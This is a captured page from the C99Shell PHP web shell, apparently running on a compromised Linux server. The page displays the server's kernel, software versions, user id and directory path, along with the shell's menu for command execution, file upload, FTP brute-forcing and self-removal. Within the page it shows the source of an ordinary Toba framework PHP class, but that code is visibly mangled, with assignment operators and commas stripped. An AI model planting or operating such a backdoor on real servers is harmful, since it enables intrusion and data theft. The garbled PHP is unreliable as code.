!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/php/modelo/asistentes/   drwxr-xr-x
Free 14.92 GB of 61.93 GB (24.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     toba_asistente_1dt.php (2.21 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

abstract class toba_asistente_1dt extends toba_asistente
{
    
//----------------------------------------------------------------------
    //-- Primitivas para la construccion de elementos
    //----------------------------------------------------------------------

    
function autocompletar_informacion($refrescar_todo=false)
    {
        
$nombre_tabla $this->dr_molde->tabla('base')->get_columna('tabla');
        
$nombre_fuente $this->dr_molde->tabla('base')->get_columna('fuente');        
        
$tabla $this->dr_molde->tabla('filas');
        if(
$refrescar_todo) {
            
$tabla->eliminar_filas();    
        }
        
//--- Recorre las columnas y las rellenas con los nuevos datos
        
$actuales =  $tabla->get_filas(nulltrue);
        
$nuevas toba_catalogo_asistentes::get_lista_filas_tabla($nombre_tabla$nombre_fuente);
        
//-- Borra las filas viejas que ya no estan en la tabla
        
foreach ($actuales as $id => $actual) {
            
$existe false;
            foreach (
$nuevas as $nueva) {
                if (
$nueva['columna'] == $actual['columna']) {
                    
$existe true;
                    break;    
                }
            }
            if (!
$existe) {
                
$tabla->eliminar_fila($id);
            }
        }
        
//-- Agrega las filas nuevas
        
foreach ($nuevas as $nueva) {
            
$existe false;
            foreach (
$actuales as $id => $actual) {
                if (
$nueva['columna'] == $actual['columna']) {
                    
$existe true;
                    break;    
                }
            }
            if (!
$existe) {
                
$tabla->nueva_fila($nueva);
            }
        }
    }
    
    
/**
     * Asume que el dt 'filas' tiene un cursor seteado en la fila actual
     */
    
function autocompletar_carga_combo($columna)
    {
        
$nombre_tabla $this->dr_molde->tabla('base')->get_columna('tabla');
        
$nombre_fuente $this->dr_molde->tabla('base')->get_columna('fuente');            
        
$nuevas toba_catalogo_asistentes::get_lista_filas_tabla($nombre_tabla$nombre_fuente);
        
$datos = array();
        
//-- Busca la fila a actualizar
        
foreach ($nuevas as $nueva) {
            if (
$nueva['columna'] == $columna) {
                
$datos['ef_carga_col_clave'] = $nueva['ef_carga_col_clave'];
                
$datos['ef_carga_col_desc'] = $nueva['ef_carga_col_desc'];
                
$datos['ef_carga_tabla'] = $nueva['ef_carga_tabla'];
                
$datos['ef_carga_sql'] = $nueva['ef_carga_sql'];
                break;
            }
        }
        
$this->dr_molde->tabla('filas')->set($datos);        
    }
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.8151 ]--